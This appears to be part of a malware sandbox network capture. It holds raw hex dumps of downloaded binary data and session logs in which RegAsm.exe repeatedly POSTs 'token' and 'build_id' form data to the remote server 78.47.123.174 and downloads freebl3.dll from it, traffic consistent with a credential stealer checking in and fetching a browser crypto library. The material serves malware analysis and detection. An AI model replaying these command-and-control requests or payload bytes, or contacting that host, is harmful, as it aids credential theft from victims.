2024-05-22 16:28:05 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-05-22 16:28:06 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-05-22 16:28:06 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-05-22 16:28:06 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-05-22 16:28:06 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-05-22 16:28:06 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-05-22 16:28:06 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-05-22 16:28:06 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-05-22 16:28:06 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49707	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:09 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHCAKKJDBKKFHJJDHII User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:09 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 43 41 4b 4b 4a 44 42 4b 4b 46 48 4a 4a 44 48 49 49 0d 0a 43 6f 6e 74 Data Ascii: ------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------IEHCAKKJDBKKFHJJDHIIContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------IEHCAKKJDBKKFHJJDHIICont
2024-05-22 16:28:09 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:09 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49708	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:10 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFCBGCGIJKJKECAKEGC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:10 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 Data Ascii: ------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------DBFCBGCGIJKJKECAKEGCCont
2024-05-22 16:28:11 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:11 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49709	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:12 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAFIIDAKJDGDHIDAKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-22 16:28:12 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 30 38 64 31 65 30 30 34 37 36 33 34 35 37 62 39 61 64 66 66 61 33 62 30 61 39 33 34 36 63 39 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 63 32 31 62 34 35 61 34 33 32 38 38 39 61 66 36 35 61 61 30 35 63 64 36 36 39 32 30 64 30 61 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="token"908d1e004763457b9adffa3b0a9346c9------FHDAFIIDAKJDGDHIDAKJContent-Disposition: form-data; name="build_id"c21b45a432889af65aa05cd66920d0a2------FHDAFIIDAKJDGDHIDAKJCont
2024-05-22 16:28:12 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-22 16:28:12 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49711	78.47.123.174	443	5768	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 16:28:13 UTC	173	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 Host: 78.47.123.174 Cache-Control: no-cache
2024-05-22 16:28:13 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 22 May 2024 16:28:13 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-a7550" Accept-Ranges: bytes
2024-05-22 16:28:13 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-05-22 16:28:13 UTC	16384	IN	Data Raw: 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f a4 c3 01 89 5d 9c 8b 45 b8 03 85 30 ff ff ff 8b Data Ascii: }1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x]E0
2024-05-22 16:28:13 UTC	16384	IN	Data Raw: 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 50 90 07 00 83 c4 04 89 45 e8 ff 77 1c e8 42 90 Data Ascii: M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]wPEwB
2024-05-22 16:28:13 UTC	16384	IN	Data Raw: 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 00 0f a3 d6 73 3b 8b 75 18 83 fe 02 73 33 8b 7d Data Ascii: 0C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwEs;us3}
2024-05-22 16:28:13 UTC	16384	IN	Data Raw: 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 08 89 cb 89 4d f0 8d 14 3e 81 c2 31 23 43 e4 0f Data Ascii: ^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?UuM>1#C
2024-05-22 16:28:13 UTC	16384	IN	Data Raw: 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f 01 00 00 77 12 31 c0 81 f9 00 01 00 00 0f 93 c0 Data Ascii: }EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w w1
2024-05-22 16:28:13 UTC	16384	IN	Data Raw: 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 00 c7 85 7c ff ff ff 00 00 00 00 c7 85 6c ff ff Data Ascii: $`PND$PPAD$@P4D$0P'D$ 